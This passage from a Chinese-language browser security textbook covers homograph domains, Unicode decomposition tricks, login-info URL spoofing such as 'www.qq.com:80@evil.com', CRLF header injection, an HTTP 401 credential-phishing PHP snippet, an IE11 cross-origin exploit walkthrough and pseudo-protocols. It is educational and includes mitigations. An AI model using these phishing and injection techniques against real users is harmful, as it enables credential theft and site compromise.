不过正如你所见，Chrome浏览器已经在用户输入这个URL的同时显示出了punycode，告诉用户这个域名里面有Unicode字符。同时，域名注册商也在加强对此类域名的过滤，并不是所有这类都能注册。但是最为理想的情况应当是浏览器主动提醒这个地址不是“alipay.com”。如果只是显示转换后的国际域名，很可能只会提醒到那些有经验的、知道xn--为何物的用户，对不认识国际域名的用户来说，这个提示可能就和HTTPS的绿锁一样，最终被许多用户忽视掉。

[image: ]
图2-7：使用西里尔字母А/а（U+0410/U+0430）来钓鱼的伪支付宝域名



2.1.5　自纠错与Unicode字符分解映射

让我们接着再看一看浏览器中另一个特殊逻辑。上一节中我们提到域名只要有Unicode都应被视作IDN。但是凡事总有例外，浏览器还真的对URL一些字符做了特殊处理。浏览器自身对用户输入的URL有一定的纠正逻辑，例如假如你输入“http:/www.example.org”（少个斜线），浏览器会自动帮你纠正成“http://www.example.org”。同理，方便国际化域名的是，假如用户输入了“http://互联网中心。中国”，浏览器也会自动把句号转换为句点。

在浏览器中还有一些可能大家并不是非常在意的特殊逻辑。以Chrome为例，笔者的个人博客域名是http://nul.pw，恰巧，系统还有一个UNICODE字符“[image: ]
 ”
 [image: 编码为0x33BA。]

 ，在Chrome中输入http://nul.
 [image: ]
 之后，Chrome并不会把它们转为punycode，而是会在其标准化函数中将该UNICODE字符按照映射分解成两个ASCII字符“pw”，然后重定向到http://nul.pw。


[image: ]
图2-8：[image: ]
 和pw




在Chrome的地址栏中输入含有[image: ]
 的域名后的效果如图2-9所示。


[image: ]
图2-9：地址栏中的pW字符



在按下回车后，该地址中的[image: ]
 被替换成了ASCII字符pw，并继续导航。


[image: ]
图2-10：被Chrome替换后的网址



跟踪网络可以发现，在整个替换过程中，浏览器并没有发起请求，所以我们可以确定的一点是，与punycode的转换一样，Chrome通过自身的逻辑就把它替换了。调试Chrome可知，Chrome在对URL的Host部分进行标准化时，如果发现它是一个类IDN，将会对它做转换到ASCII的处理[image: 在url_lib.dll!url::IDNToASCII函数中完成。]

 ，在这个过程中调用ICU（Unicode国际化组件）库的标准化函数
 [image: 在icuuc.dll!icu_54::ComposeNormalizer2::normalize函数中完成。]

 来将特定Unicode分解为ASCII字符。


这个过程称为“分解映射”（DM，Decomposition Mapping）[image: 可以参考资料http://scripts.sil.org/cms/scripts/page.php?item_id=IWS-Chapter04b#a9054ead的7.5节。]

 。在每个浏览器中均有对这类字符的自动分解，以下列举部分可展开的Unicode字符。



表2-2：Unicode字符和DM关系

[image: ]


[image: ]


更多的可分解字符可以查询Unicode表来完成，或者也可以使用一个简单的程序去遍历得到。在Python中引用unicodedata库并使用unicodedata.decomposition（unichr）方法[image: https://docs.python.org/2/library/unicodedata.html]

 即可完成分解过程，遍历所有Unicode字符即可得到能够得到所有能够分解的字符。对上述pw的例子来说，分解0x33BA（
 [image: ]
 ）之后得到了字符0070和0057，这便是p和W的ASCII码。


[image: ]
图2-11：使用Python进行Unicode字符分解映射



这些扩展字符用作攻击时的作用很明显，那便是缩短攻击代码的长度，假如攻击者有限制输入的长度，此时便可以利用这个特性缩短URL的字长但是却不影响URL的正常访问，从而构造较短的攻击向量。

2.1.6　登录信息钓鱼攻击

另一种钓鱼方式则是利用了URL中登录信息的部分。由于用户名：密码这样的形式看起来非常像域名：端口号，因此攻击者可以使用http://www.qq.com：80@evil.com/的形式来将evil.com伪装成www.qq.com来钓鱼。不同浏览器对登录信息的处理方式也有一些不同。以下是在地址栏直接输入网址后，浏览器处理时的差异（假设EVILSITE不需要401登录）。


表2-3：各浏览器处理登录信息的差异

[image: ]


注：①IE11、Firefox39、Chrome43、Safari（Mac）8、Safari（iOS 8.3）、Android 4.4原生浏览器。



为了防止用户识别错域名，许多浏览器都对一级域名部分做了高亮。在没有高亮的浏览器中，用户需要辨认URL中的一级域名。不过在识别的过程中，同样也要注意字形欺骗攻击，例如全角的斜杠（“／”）可以出现在密码部分，导致整个URL可能看起来像http://www.qq.com：80／something@TRUESITE/somepath.html，此时应该观察高亮部分并仔细识别。

[image: ]
图2-12：针对全角斜线的字形攻击（刚粘贴进地址栏时）



另外，出于对一般用户的保护考虑，许多浏览器已支持在无须登录的网站上自动隐藏登录信息，或者无论如何都不显示登录信息。但是移动端一些浏览器却保留了旧的方案，例如早期的Android 4.4.4自带的浏览器并不会隐藏登录信息，攻击者能很容易伪造出一个看起来像是正常网址的钓鱼网站（例如：http://account.baidu.com：80@fake.com/），让用户在展示地址栏时看到假的地址并实施钓鱼。

[image: ]
图2-13：Android 4.4.4原生浏览器保留了登录信息




	
还有个常见名词是URI（统一资源标志符）。URL是URI的子集。虽然URL可以访问指定的资源，但并不是每个URI都能这么做，例如一个相对路径也是URI，在没有上下文的情况下单独依靠URI可能无法定位一个特定资源。返回




	
2002年IE市场占有率一度高达90%，因为几乎处于一家独大的情况，所以也成为了早期的浏览器安全研究的热门目标。返回




	
指XP刚刚发布的2001年前后。返回




	
https://msdn.microsoft.com/en-us/library/ms537638(v=vs.85).aspx，“Why Do We Need Window Restrictions?”节：XPSP2上的IE6开始，浏览器窗口必须包含标题栏和状态栏，如果有地址栏，也必须保持可见。……这项限制可以阻止恶意代码仿造浏览器UI。返回




	
但不幸的是，直到现在，当今一些流行的第三方浏览器中仍然有可隐藏UI的设计。返回




	
CVE-2008-4787（IE6&NBSP;地址栏伪装漏洞），CVE-2008-4788（IE6地址栏扩展ASCII字符无法显示漏洞）。返回




	
例如TX07040201（TT3.2地址栏溢出漏洞，2007年），在Chrome44以下地址栏输入http://a//%%30%30会引发崩溃（2015年），Valve Steam游戏平台的旧版本Steam注册的Steam://协议存在远程代码执行漏洞（2012年）。返回




	
这么叫有一些不严谨，方案名是指一种特定的、与协议关联的文法。不过下文为了称呼简洁，非特殊需要区分的地方，一律称作协议名。返回




	
ASCII>127的字符，虽然同一个字符的ASCII码一样，但是随着系统代码页（系统语言）设置不同，显示的字符也不同。返回




	
http://blogs.msdn.com/b/ianm/archive/2006/04/24/582139.aspx，《Would you fall for www.paypa1.com？》返回




	
编码为0x33BA。返回




	
在url_lib.dll!url::IDNToASCII函数中完成。返回




	
在icuuc.dll!icu_54::ComposeNormalizer2::normalize函数中完成。返回




	
可以参考资料http://scripts.sil.org/cms/scripts/page.php?item_id=IWS-Chapter04b#a9054ead的7.5节。返回




	
https://docs.python.org/2/library/unicodedata.html返回







2.2　HTTP协议

HTTP协议是一个基于请求-响应的形式交互数据的无状态协议。客户端（浏览器）发送一个HTTP请求到服务器，然后服务器返回一个响应信息给客户端。响应的数据包含有请求的状态信息，也可以包含有响应的内容。

HTTP支持非持久连接和持久连接两种连接方式，在非持久连接中，客户端与服务器的交互大致有如下步骤：

1．浏览器首先初始化与运行HTTP服务器的主机（下简称“网站”）的TCP连接，使用URL中指定的端口，默认为80；

2．然后，浏览器通过与TCP连接相关联的本地套接字发出一个HTTP请求消息。这个消息我们将稍后介绍；

3．网站接收到请求后，解析并处理请求，然后通过同一个套接字发出响应消息；

4．网站通知TCP需要关闭连接（浏览器收到刚才的响应消息之后才会真正终止这个连接）；

5．浏览器接收到响应消息后，TCP连接终止。

而持久连接则没有关闭连接这一步，网站响应后会继续让TCP连接保持打开状态。这样，同一对客户端—服务器可以继续通过这个连接发送和处理后续的请求和响应。接下来让我们具体叙述一下上述过程中的请求和响应的部分。

2.2.1　HTTP HEADER

浏览器发送（接受）请求时，会发出（收到）HTTP头。HTTP头位于消息的最前列。HTTP头由多个字段（field）组成。每个字段由冒号分隔的name：value明文值对开始，直到CR+LF（ASCII 0x0D与0x0A）换行符结束。HTTP头的末尾由一个空字段组成。也就是说，这个字段的CR+LF加上这行之前一个字段的CR+LF组成了HTTP HEADER的末尾。

字段的名称分为“已标准化的”和“自定义的”两种类型。已标准化的字段由IANA管理，在[RFC7230]～[RFC7235]几个标准文档中介绍了已标准化的字段名。而自定义的字段名则由使用者自行约定规范和用法，字段也仅仅在使用者的作用范围内有意义，并不通用。X-开头的字段名曾被认为是自定义[image: 起初这个规定并没有太大问题，不过当一些自定义的字段变成标准化字段后产生了一些麻烦。由于已标准化的X-字段仍被广泛使用，所以不能贸然地删除X-标记。最后导致X-字段中混杂有一些已标准化的字段，使得X-字段失去了原有的意义。因此这个建议在2012年已经被逐步取消。]

 的，它们诞生之初一般都是以第三方自行约定的非标准字段的形式出现。


[image: ]
图2-14：一次请求的HTTP HEADER



虽然规范中对HTTP头的大小和字段数并无限制，但是服务器、客户端等在实现时出于各种考量还是设置了限制。例如Apache 2.3默认限制每个字段最大8190字节且每个请求最多只能有100个字段。

HTTP定义了一组方法（也称“动词”）用来指定在某个资源上的操作。资源通常都是指服务器上的文件或对象。HTTP/1.0标准中定义了GET、POST和HEAD三个方法，HTTP/1.1又额外增加了OPTIONS、PUT、DELETE，TRACE和CONNECT方法。

只是获取信息而不会更改服务器状态的方法是安全的。例如HEAD、GET、OPTIONS和TRACE都应当被认为是安全的方法。而POST、PUT、DELETE和PATCH由于可能会改变服务器状态，所以应当被认为是不安全的。

2.2.2　发起HTTP请求

浏览器发起请求时，HTTP头的结构如下：


	第一行是请求行，以一个HTTP动作开头，跟随动作的对象，以及HTTP协议版本号。浏览器中常用的动作有GET和POST。例如GET/index.html HTTP/1.1，这表示它将要从服务器获取/index.html的内容；

	第二行开始是字段信息，这里可以使用任何HTTP头支持的字段，例如Host字段等；

	在字段信息之后有一个空行；

	空行之后可以跟随消息主体，也可以什么都不跟。



请求行和其他的字段信息以及空行必须以CR+LF结尾。例如下图即为一次请求的HTTP头：

[image: ]
图2-15：一次HTTP请求的头信息



浏览器中参数的传递一般指查询字符串（Query String）的传递过程。除了由用户手动输入之外，还有一种常见的生成查询字符串的方式便是表单（<form>）。例如，当一个表单包含有field1、field2两个区域和对应的value1、value2值时，在用户提交表单后，浏览器便会生成一个如field1=value1&field2=value2的查询字符串。

[image: ]
图2-16：表单的代码



查询字符串中有一些内容是需要被编码的。例如空格、井号等。它们都有自己的用处。HTTP请求的第一行只应有两个空格（如：GET[空格]URI[空格]HTTP/1.0），如果查询字符串中含有空格，且浏览器没有编码，那么HTTP请求就会被查询字符串的空格隔断，服务器将无法解析这个结构有误的HTTP请求。编码井号则是因为它可能会和Hash String的分隔符混淆，如果不加以编码，浏览器将无法判断Hash String起始位置。

被编码的字符大部分都会被转为百分号编码，百分号编码时，会将字符的ASCII码值转为十六进制形式并加上百分号。有一个特殊情况是，空格除了能够被编码为%20之外，也可以被编码为“+”。而加号自己则需要被编码为%2B。

在通过HTTP请求传递参数时，只需要将参数经过编码然后放到动作之后即可。例如通过GET/example1.php？name=myvalue HTTP/1.1可以发起一次GET请求。而POST请求则稍有不同，根据规范，POST请求的参数则应当放在消息主体中，不过如果将POST请求的参数放在URL中，有一些服务器程序依然能够识别，不过实际使用时并不推荐这么做。图2-17所示即为一次POST请求的HTTP头。

[image: ]
图2-17：一次POST请求



根据Content-Type的不同，POST也有不同的提交方式。虽然multipart/form-data、application/x-www-form-urlencoded等在传输的细节上有所不同，但是POST的基本格式都是一样的。

2.2.3　Cookie

因为HTTP是一个无状态的协议，所以它并不要求HTTP服务器保留用户每个会话的状态。也就是说，服务器并不知道用户上一次做了什么。这在一些情况下非常不方便，例如也许你之前在购物网站添加了一些东西进购物车，但是一刷新页面，购物车的东西又都没有了。为了维持状态，Web应用程序可以

（1）使用Cookie；

（2）使用隐藏的Web表单；

（3）或是像旧式手机一样将状态直接写到参数里。

这些都是可以维持会话状态的方法。（2）、（3）运用并不广泛，目前最常见的仍是使用Cookie。

Cookie是一段文本信息。在客户端访问服务器之后，服务器端会根据不同情况，在响应HTTP头中置入Set-Cookie通知客户端设置Cookie。Cookie最初的目的是想让服务器能够追踪到用户。一旦收到Cookie，浏览器会以“名称=值”对的形式保存在本地。在每次进行HTTP会话时，Cookie都会作为一个字段明文放置在HTTP头中，以此传递用户的状态。

Set-Cookie的形式类似于：

Set-Cookie: NAME=VALUE[; domain=DOMAIN][; path=PATH][; max-age=AGE][; expire=EXPIRE][; secure] [; HttpOnly]



它的每个部分的含义解释如下：





	首先是一个“名称＝值”对，这个属性在Cookie中必须有。

	domain部分指定Cookie被发送到哪台主机上。假设domain=.example.org，这时Cookie会发送到*.example.org上。如果domain为空，则domain和当前网站相同；如果domain不为空且与当前网站不符则会被忽略。

	path部分控制哪些访问能够触发该Cookie的发送。如果没有指定path，Cookie对全站生效。如果path=/test，这表明只有访问/test下的网页时Cookie才会被发送。

	expire部分指明了Cookie失效的时间。如果没有指定，则Cookie只会持续到这次会话结束。现已被max-age取代。max-age的时间单位是秒。通过Set-Cookie设置的cookies，如果没有指定过期时间，那它就是一个会话Cookie。会话Cookie也即常说的内存Cookie，浏览器关闭的时候会自动清空所有会话Cookie。非会话Cookie则会被浏览器保存在硬盘上。

	secure，如果指定了secure，那么该Cookie将只能通过安全通道传输（即SSL通道）。否则，浏览器将忽略此Cookie。

	httponly，支持HttpOnly Cookie的浏览器中，Javascript无法读取和修改HttpOnly Cookie，这样可让Cookie免于受到脚本攻击（例如XSS）。



匹配domain时，是按照“通配”的形式来的。例如domain=.example.org匹配的是*.example.org。例如，Set-Cookie：myname=myvalue；domain=.example.org；path=/test/；代表该Cookie是一个会话Cookie，只在访问*.example.org/test/*时生效，名称为“myname”，值为“myvalue”。


Cookie并不严格按照path部分进行隔离，浏览器在匹配Cookie的path时，是按照从短到长的顺序匹配的。例如有如下设置Cookie的请求：

Set-Cookie: key1=a; domain=example.org; path=/;
Set-Cookie: key2=b; domain=.example.org; path=/test/;
Set-Cookie: key3=c; domain=xxx.example.org; path=/test/;


访问http://www.example.org/时，Cookie为key1=a；。而访问http://www.example.org/test/时，Cookie则为key1=a；key2=b；。




Cookie中可以包含除了逗号、分号、空格之外所有可打印的ASCII字符。除了服务器端的设置，浏览器中脚本也可以通过给对象document.cookie赋值来设置页面的Cookie。

在客户端（浏览器）设置完Cookie之后，下次访问资源的时候服务器就可以识别用户，从而实现了状态的传递。而客户端中也可以读取Cookie中的内容，将其作为和服务器共享数据的工具。

2.2.4　收到响应

响应的HTTP头和请求的HTTP头形式类似。服务器返回给浏览器的响应通常为如下形式。

HTTP响应的第一行是状态行，由当前协议版本号、数字组成的状态码、描述状态的短语组成，彼此由空格分隔。

第二行开始是字段信息，可以使用任何支持的字段，例如Accept-Ranges、Content-Length等。

字段信息后有一个空行，空行后可以跟随消息主体。

如图2-18所示是一个响应HTTP头。

[image: ]
图2-18：响应HTTP头示例



HTTP状态码是服务器响应用户端请求时的状态代号，由3位数字组成。状态代码的第一个数字代表当前响应的类型，简要地概述为1XX服务器消息，2XX请求已成功，3XX需要重定向，4XX请求有错误，5XX服务器处理发生错误。

[RFC2616]推荐了HTTP状态码对应的描述状态的短语，例如100 Continue、200 OK等。但是开发者依然可以配置服务器决定采用何种响应词语。

除去常见的404 Not Found、200 OK这些HTTP代码之外，还有两个比较少用的HTTP状态码：


	204 No Content



没有内容。这个状态告诉浏览器现在用户的文档已经是最新的了，应当继续显示原来的文档。返回这个HTTP状态码时，不会有任何消息主体。当浏览器接收到204请求时，且204请求是当前窗口或框架第一次访问的地址时，Chrome通常会保留地址栏为该204的网址，但是网页实际地址为about：blank（IE中则与地址栏一致）。


	205 Reset Content



重置内容。这个状态依然告诉浏览器现在服务器上没有新的内容，但浏览器应该重置它所显示的内容，例如表单的显示信息等。返回这个HTTP状态码时，不会有任何消息主体。

这两个状态码由于其特殊性，基于Chromium的浏览器可能会误处理浏览器的状态同步，导致数据伪造漏洞的发生[image: http://wooyun.org/bugs/wooyun-2010-0128653]

 。


2.2.5　HTTP协议自身的安全问题

HTTP协议的使用极为广泛，但是却存在不小的安全缺陷。HTTP协议在设计时并未考虑信息的加密和验证，因此HTTP面临着数据的明文传送和缺乏对消息完整性的验证机制两个问题。许多类似网银支付、账号登录等需要安全保证的地方，如果使用HTTP则可能会导致严重的信息泄露风险。

攻击HTTP协议的数据传输过程时，只要攻击者能够控制到受害者网络，便可以轻易地嗅探、修改HTTP传输的内容。另外，HTTP协议在传输客户端请求和服务器响应时，仅仅在报文头部包含了传输的数据的长度，而且没有任何校验数据完整性的机制（因为数据长度这一栏也可以被攻击者随意修改）。这使得它极容易受到攻击者的篡改。

这两种缺陷是当初设计HTTP协议时的遗留问题，为了加强Web服务数据传输时的安全性，Netscape提出了HTTPS协议，它通过在TCP层与HTTP层之间增加一个SSL（Secure Socket Layer，安全套接字层）来增强数据传输时的安全性。使用HTTPS时，数据传输的加密解密操作均由SSL进行，与上层的HTTP无关，因此可以说它对HTTP是透明的。HTTPS提高了数据传输时的机密性，它有严格的完整性检验，大大地提升了信息传输的安全性。关于HTTPS的相关内容我们将在第3章介绍。

2.2.6　注入响应头：CRLF攻击

针对HTTP头，攻击者可以进行CRLF攻击。CRLF是“回车换行”的意思，CRLF攻击实际上是一个代码注入型的漏洞。我们也知道HTTP头由CR+LF确定一个字段的范围，如果某次响应数据中，有一个字段的数据是用户输入的，而服务器又没有做好过滤，用户就可以通过编码插入CR+LF及注入的新字段来发起攻击。例如，攻击者可以通过注入HTTP头来篡改响应消息，也可以构造超长的HTTP头来攻击运行着Apache 2.2.0～2.2.21服务器，使用户的HttpOnly Cookie泄露。

笔者曾经在2015年7月发现过某站点的CRLF注入漏洞。该网站的redirect程序对video_id参数中的CR+LF（%0D%0A）没有过滤，直接将其写到HTTP头部中，攻击者通过在代码中插入CR+LF即可在服务器响应的HTTP头中插入自己想加入的字段。

HTTP头注入可以导致多种问题，例如通过注入一个Set-Cookie字段，可以向用户的浏览器注入一个Cookie，在Cookie中可以指定SESSION造成固定会话攻击。攻击者也可以注入HTTP头来关闭浏览器的XSS防护。

还有，如果攻击者在里面插入了两个%0d%0a，这就相当于将后面的内容当作响应实体展示在浏览器中，如果我们在响应实体中写入一段脚本，那么这时脚本也同时会在浏览器中执行。
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图2-19：CRLF注入，在响应的头部多了一个“test：123”字段



2.2.7　攻击响应：HTTP 401钓鱼

2012年至2013年互联网上出现了许多HTTP 401钓鱼的例子。攻击者首先在服务器上创建一个需要认证登录才可访问的图片或页面，然后将图片或页面放置在论坛、邮箱、博客等地方。当用户访问链接向钓鱼文件的页面时，浏览器即会弹出如图2-20所示的对话框。

这种钓鱼利用了浏览器处理响应的一个特性——当用户正在访问需要认证的资源时，服务器会响应HTTP 401 Unauthorized，浏览器收到这个状态码之后会根据服务器提供的认证提示信息，弹出上述窗口，让用户提供认证用的用户名和密码。客户端提示用户的信息是通过响应头中WWW-Authenticate字段传递回来的，因此攻击者可以返回一些诱惑性的话语让用户提供一些隐私信息。
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图2-20：基本认证对话框，“Please Log In”是攻击者写的语句



要达到这个效果，攻击者仅需在服务器上配置一个需要401跳转的页面：

<?php 
header('WWW-Authenticate: Basic realm="PLEASE LOG IN!!!"'); 
?> 



然后将这个URL当作图片的地址，贴到论坛等地方，即可等待用户上钩了。




如果只是正常使用，也不是很推荐使用HTTP 401认证。通过这种方式认证时，口令传输仅仅经过可逆的Base64编码，可以视作明文传输，本身也并不安全。

现在如Chrome、Firefox等浏览器都已经对401认证弹框做了提示，例如网站A下有着网站B的HTTP 401资源，那么网站B的认证框将不会弹出。如果你仍然在使用过程中发现了此类认证提示框，一定要仔细辨别：1、是否是你的主动操作，如果不是，不要单击登录；2、连接到的主机是否是你熟悉的，或者是否和你浏览的网页的主机地址一致，如果不是，也不要单击登录。


	
起初这个规定并没有太大问题，不过当一些自定义的字段变成标准化字段后产生了一些麻烦。由于已标准化的X-字段仍被广泛使用，所以不能贸然地删除X-标记。最后导致X-字段中混杂有一些已标准化的字段，使得X-字段失去了原有的意义。因此这个建议在2012年已经被逐步取消。返回




	
http://wooyun.org/bugs/wooyun-2010-0128653返回







2.3　浏览器信息安全的保障

2.3.1　源

在客户端中，绝大部分安全策略都通过限制源来实行。[RFC6454]表明源是由方案名称、主机名、端口号组成的。源的判断之所以不单单采用主机名的原因是也考虑到不同协议间的安全性。例如https的连接通常是加密的、需要一定安全保障的，而http则是明文的、安全性相对低的。如果仅仅采用主机名判断，http://example.org和https://example.org就会被认为是同源的，从而http网页就可以直接读取到https网页的内容，会严重降低https的安全性。

而还有一个需要注意的是，源的判断中使用的是完整的主机名。之所以要这么做也是出于安全考量。考虑这样一个情形：一些国内的免费空间提供商，它们提供空间和免费的二级域名（http://SUB.DOMAIN.TLD形式的域名），各个三级域名对应空间的所有人其实是不一样的，因此，如果按照一级域名来判断，会导致各二级域名之间可以互相访问从而干扰数据。当然，前文提到的使用javascript修改源的情况不在这个讨论范围之内。

2.3.2　同源准则

在计算机中，同源准则（Same-origin Policy，SOP）是Web应用安全模型的一个重要概念。这个准则可以阻止一个页面上的恶意代码访问另一个页面的敏感内容。在这个准则下，仅当页面A和页面B有同样的源时，浏览器才允许页面A的内容访问页面B。

这个准则为当今依靠HTTP Cookies来获取用户会话认证的现代浏览器及相关程序提供了显著保护。由不同的源提供的内容在客户端被阻止互相访问，借此，源可以自认为自己的信息在用户侧是受到保护的。

让我们给出一个实际例子，下表是和http://www.example.org：80/a.html的源进行比较后的结果。


表2-4：同源判定结果

[image: ]


2.3.3　源的特殊处理

由于about：blank、javascript：和data：伪协议并未指定任何与源相关的信息，在浏览器加载它们时，它们继承了加载它的文档的源。因此，当页面A打开about：blank时，由于源的继承，因此页面A可以修改about：blank窗口的内容。这个特殊情况导致了一些漏洞的发生，我们会在后几节中叙述此类问题。

在处理同源策略的问题上，大部分浏览器都是遵守规范的，但是由于历史原因，仅在IE中有下面两个特殊的情形：

（1）位于可信域（Trust Zones）的互信的域名间，不遵守同源策略的限制；

（2）IE在判断同源时不考虑端口，因此http://EXAMPLE：80/和http://EXAMLPLE：81在IE中不受同源限制。

浏览器在访问目标时就会确定源，不过脚本也可以通过设置document.domain来修改自己的源，这可以为一些需要在不同子域之间传递信息的JavaScript带来方便，但是修改也仅限于修改成当前域，这只能说是一个稍微宽松一点的同源判定方法。

例如，http://some.example.org/a.html的脚本可以执行document.domain=“example.org”来修改自己的domain，执行了这个动作后，较短的域会作为同源检测的依据，因此，修改之后页面就可以成功访问http://example.org/b.html了。正如你所猜想的一样，为了维护SOP的“权威”，example.org的脚本并不能通过document.domain将自己的domain设置为example2.org。

设置document.domain时，如果不指定端口号，则会以null覆盖原先的端口号。所以如果要确保在修改源之后端口号判断正常，在设置document.domain时需要带上新端口号。

2.3.4　攻击同源准则：IE11跨任意域脚本注入一例

同源准则的实施是完全依赖于客户端的，如果客户端的判断逻辑发生了问题，那么攻击者就可以忽略同源准则的限制，窃取信息，甚至注入高权限域执行更为危险的代码，给系统安全带来严重危害。

2015年1月29日，漏洞研究人员David Leo在Full Disclosure的邮件列表中公布了一个Internet Explorer 11的0day：一个跨域脚本执行漏洞的验证代码。这段代码利用了Internet Explorer 11的一个逻辑问题，攻击者可以完全无视同源准则，将脚本注入任意域下。

[image: ]
图2-21：IE11跨域脚本注入的利用代码



简单介绍一下这段代码：页面上有两个框架，一个框架访问自己的redirect.php，这个php文件会先休眠几秒，然后跳转到要攻击的域，这个例子里是https://www.google.com。

第二个框架直接访问要攻击的域，如代码所示，现在第二个框架指向的是google的一个图像文件。

页面的脚本会试图传给redirect.php所在的框架一段代码执行请求，该请求会向第二个框架抛入一段脚本。在redirect.php没有跳转之前，它的域仍然是<http，ATTACKER’S SITE，80>，因此脚本有权限让redirect.php执行这段脚本。

为了加速访问，Internet Explorer会采用多线程的方式来处理网络请求和界面请求。在弹出对话框时，此时整个浏览器的界面、脚本除了对话框外全部出于阻塞状态。但是它的网络请求却还在继续。

在对话框阻塞UI的同时，第一个框架的redirect.php已经跳转到了https://www.google.com，IE随即更新它的源。因此它的源事实上已经变为了<https，www.google.com，443>，与第二个框架的源一致。

用户单击确定之后，被alert阻塞的脚本的最后一句_.location=”javascript：alert（document.domain）”恢复执行，可是此时，两个框架同源了，IE也没有检查好这段脚本的上下文。因此这段脚本直接传给了第二个框架，以<https，www.google.com，443>源的身份执行了起来，造成了跨域漏洞。
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图2-22：Internet Explorer 11中，innerht.ml的脚本被注入了google.com域下



跨域攻击一旦发生，完美的方法唯有等待官方发布补丁才可解决。在补丁发布之前，可以采取这些措施缓和攻击：1、打开浏览器的弹窗拦截并开启敏感度为最高，这样可以杜绝一些基于弹窗的跨域攻击；2、暂时使用其他浏览器，或是安装扩展插件例如NoScript来防御部分攻击；3、开启安全软件，在发生大规模0day攻击时，安全软件的网络防护很可能会阻断含有攻击代码的页面。


2.4　特殊区域的安全限制

2.4.1　安全域

域（Zone）或者安全域（Security zone）的概念仅有IE使用，它限制了不同站点的安全策略。在Internet Explorer中用户可见的有4个域，分别是：


	Internet域，这是默认的域；

	本地Intranet域，简称为本地域，因为权限较大，所以有较多的限制，例如本地域中默认关闭了脚本的执行，同时Internet域也不能访问本地域的内容；

	受信任的站点，在信任的网站列表的网站会受到较小的安全限制，例如可以运行未标记为安全的和未签名的ActiveX控件；

	受限制的站点，这个里面的站点默认会拥有较小的权限。



本地Internat域、受信任的站点通常被称为特权域，而在Chrome、Firefox中俗称的特权域通常指有较高权限或开放了特殊API的页面，从Internet域跳到特权域的攻击，都可称为跨特权域脚本攻击。

2.4.2　本地域

简单起见，我们将所有浏览器本地网页文件都简称为本地域，在网络上的文件称为网络域。本地域和网络域在不同的浏览器中的表现有一些差别，列举如下。


表2-5：各浏览器对本地域的判定
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[image: ]


注：①https://msdn.microsoft.com/en-us/library/ms537628(VS.85).aspx，Mark of the Web，“来源于网络”标记。



对本地网页文件的限制可以通过一些设置重载。这里有一个典型的例子便是Internet Explorer的信息栏提示，在用户手动单击允许后即可覆盖之前的安全设置（而且用户允许后页面权限非常高）。

[image: ]
图2-23：Internet Explorer的信息提示



Chrome中可以通过命令行--allow-file-access-from-files允许访问本地文件，Safari也可以在选项[image: https://support.apple.com/zh-cn/HT202525，在开发者选项中可以关闭。]

 中关闭对本地文件的访问限制。



	
https://support.apple.com/zh-cn/HT202525，在开发者选项中可以关闭。返回







2.5　伪协议

在浏览器中，有一些用于访问资源或脚本的协议，称作伪协议（Pseudo-protocol）。形如“about”只是一个URI方案名（URI Scheme），它并不是协议，为了和正式的网络协议区分，将其简称为“伪协议”。伪协议是一种非标准化的协议，在浏览器处理时通常不会远程获取数据，甚至不会创建独立的上下文环境来展示部分伪协议的结果。在不同的浏览器中，常见的伪协议解析方式各异。让我们看一下常见的几个伪协议。

2.5.1　data伪协议

data伪协议提供了一种在网页中加载外部资源的方法，[RFC2397]定义了data伪协议的具体实现细节。这个伪协议的初衷是为了减少访问零碎的资源（例如几KB的小图片）的次数。除了Internet Explorer 7及以下的浏览器，大多数浏览器均支持data伪协议。

data伪协议的格式是：

data:[<MIME-type>][;charset=<encoding>][;base64],<data>



也即以data：开头，后分别指定MIME类型，字符集，数据是否以Base64编码，以及数据部分。




如果没有指定MIME类型，那么浏览器会用默认的text/plain代替；

如果没有指定charset，浏览器会用默认的“；charset=US-ASCII”代替；

如果前面指定了以Base64编码（“；base64”），那么最后的数据部分也必须是Base64编码过的；如果前面没有指定Base64编码，那么最后一部分应该是用百分号编码过的，data伪协议组成的URI也应当符合URL编码规范。

data URI只应该用在少量数据的处理上，如果将它放在元素的属性中，可能会受到属性自身长度的限制。[RFC2397]并未规定浏览器应当接受多长的data伪协议，虽然例如Firefox支持无限长的data URI，不过如果使用过长的data URI，可能会在其他浏览器中导致未预期的问题。

另外，IE对data伪协议有一些特殊的处理。例如IE8限制data URI最大长度为32KB，而IE9则没有这个限制。在IE中，data伪协议只可用于：


	object（仅可用作图片）



例如<object type="image/png" data="data：xxx"></object>


	img



例如<img src="data：xxx"/>


	input type=image



例如<input type="image" src="data：xxx"/>


	link



例如<link type="text/css" rel="stylesheet" href="data：xxx"/>


	CSS中接受URL的属性，例如background、backgroundImage等



例如.picture{background： url（data：xxx）}

而且，出于安全考虑，IE中data URI只可当作图片资源使用，不能用在导航、脚本、frame、iframe中。且“#”、“%”、控制字符、非US-ASCII字符、多字节字符必须被编码。在2015年7月最新的Windows 10的Microsoft Edge浏览器中，依然不支持在新窗口中打开一个data伪协议组成的链接。

在非IE浏览器中，可以通过window.open、a href等方式打开一个地址为data URI的新窗口。例如下列语句会打开一个内容为“hello！”的新窗口。

window.open('data:text/html;charset=utf-8,' + 
encodeURIComponent('<H1>hello!</H1>')
);



在Firefox、Chrome等浏览器中，data URI也可以在A、IFRAME、OBJECT等地方使用，因此有必要对data URI的运行环境进行隔离。Firefox 6之前的浏览器中，如果用户手动在地址栏输入data URI，那么data URI会继承当前页面的安全上下文，这显然是不合理的，现在的Firefox和Chrome中，data URI在执行时有自己的页面上下文，它不和当前页面共享信息。




例如，无论在A href、IFRAME src或是OBJECT data中指定访问data：text/html；base64，PHNjcmlwdD5hbGVydChsb2NhdGlvbi5ocmVmKTwvc2NyaXB0Pg==（该data URI会弹出location.href），最后获得到的地址都会是data URI自身的地址。

[image: ]
图2-24：在Chrome中访问该data URI后的结果



2.5.2　about伪协议

about伪协议最初由Netscape引入，它的原始用法和data伪协议较为相似，在导航至“about：SOME HTML CODE”的时候，about后的内容会原样写入浏览器中。但是随后许多浏览器中about的这个特性就被取消了。

[RFC6694]中描述了about的详细规范。在所有的about伪协议支持的内容中，最常见的就是about：blank，它会显示一个空白页。至少在这些情况下，浏览器会显示空白页：


	手动打开about：blank；

	发出打开新标签页/窗口请求，但是URL为一个空字符串；

	打开一个新标签页，未发生任何导航；

	部分浏览器发生导航到导航结束之前；

	在新窗口中导航到一个标记为“没有内容/部分内容”（HTTP 204/205）的页面；

	页面导航结束之前有脚本执行或被停止加载。



